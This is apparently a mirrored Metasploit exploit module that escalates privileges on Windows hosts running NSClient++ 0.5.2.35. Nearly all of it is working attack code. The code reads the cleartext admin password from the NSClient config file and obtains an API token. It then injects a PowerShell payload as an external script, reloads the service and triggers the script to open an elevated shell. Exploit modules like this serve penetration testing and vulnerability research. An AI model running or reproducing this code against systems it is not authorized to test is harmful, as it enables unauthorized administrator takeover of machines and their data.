Share
## https://sploitus.com/exploit?id=PACKETSTORM:163408
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpClient  
include ::Msf::Exploit::Powershell  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',  
'Description' => %q{  
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.  
For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.  
You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[ # This module is kind of mix of the two following POCs :  
'kindredsec', # POC on www.exploit-db.com  
'BZYO', # POC on www.exploit-db.com  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '48360'],  
['EDB', '46802']  
],  
'Platform' => %w[windows],  
'Arch' => [ARCH_X64],  
'Targets' =>  
[  
[  
'Windows',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_powershell  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-10-20',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }  
)  
)  
  
deregister_options('RHOSTS')  
register_options [  
OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),  
OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])  
]  
end  
  
def rhost  
session.session_host  
end  
  
def configure_payload(token, cmd, key)  
print_status('Configuring Script with Specified Payload . . .')  
  
plugin_id = rand(1..10000).to_s  
  
node = {  
'path' => '/settings/external scripts/scripts',  
'key' => key  
}  
value = { 'string_data' => cmd }  
update = { 'node' => node, 'value' => value }  
payload = [  
{  
'plugin_id' => plugin_id,  
'update' => update  
}  
]  
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
r = send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
  
if !(r&.body.to_s.include? 'STATUS_OK')  
print_error('Error configuring payload. Hit error at: ' + endpoint)  
end  
  
print_status('Added External Script (name: ' + key + ')')  
sleep(3)  
print_status('Saving Configuration . . .')  
header = { 'version' => '1' }  
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]  
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
end  
  
def reload_config(token)  
print_status('Reloading Application . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/core/reload')  
})  
  
print_status('Waiting for Application to reload . . .')  
sleep(10)  
response = false  
count = 0  
until response  
begin  
sleep(datastore['DELAY'])  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/')  
})  
if r && !r.body.empty?  
response = true  
end  
rescue StandardError  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
count += 1  
if count > 10  
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')  
end  
end  
end  
  
def trigger_payload(token, key)  
print_status('Triggering payload, should execute shortly . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri("/query/#{key}")  
})  
rescue StandardError  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
def external_scripts_feature_enabled?(token)  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/registry/control/module/load'),  
'vars_get' => { 'name' => 'CheckExternalScripts' }  
})  
  
r&.body.to_s.include? 'STATUS_OK'  
end  
  
def get_auth_token(pwd)  
r = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/auth/token?password=' + pwd)  
})  
  
if r&.code == 200  
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]  
return auth_token  
end  
rescue StandardError => e  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
def get_arg(line)  
line.split('=')[1].gsub(/\s+/, '')  
end  
  
def leak_info  
file_contents = read_file(datastore['FILE'])  
return unless file_contents  
  
a = file_contents.split("\n")  
pwd = nil  
web_server_enabled = false  
  
a.each do |x|  
if x =~ /password/  
pwd = get_arg(x)  
print_good("Admin password found : #{pwd}")  
elsif x =~ /WEBServer/  
if x =~ /enabled/  
web_server_enabled = true  
print_good('NSClient web interface is enabled !')  
end  
end  
end  
return pwd, web_server_enabled  
end  
  
def check  
datastore['RHOST'] = session.session_host  
pwd, web_server_enabled = leak_info  
if pwd.nil?  
CheckCode::Unknown('Admin password not found in config file')  
elsif !web_server_enabled  
CheckCode::Safe('NSClient web interface is disabled')  
else  
token = get_auth_token(pwd)  
if token.nil?  
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')  
elsif external_scripts_feature_enabled?(token)  
CheckCode::Vulnerable('External scripts feature enabled !')  
else  
CheckCode::Safe('External scripts feature disabled !')  
end  
end  
end  
  
def exploit  
datastore['RHOST'] = session.session_host  
pwd, _web_server_enabled = leak_info  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
token = get_auth_token(pwd)  
  
if token  
rand_key = rand_text_alpha_lower(10)  
configure_payload(token, cmd, rand_key)  
reload_config(token)  
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted  
trigger_payload(token, rand_key)  
else  
print_error('Auth token couldn\'t be retrieved.')  
end  
end  
end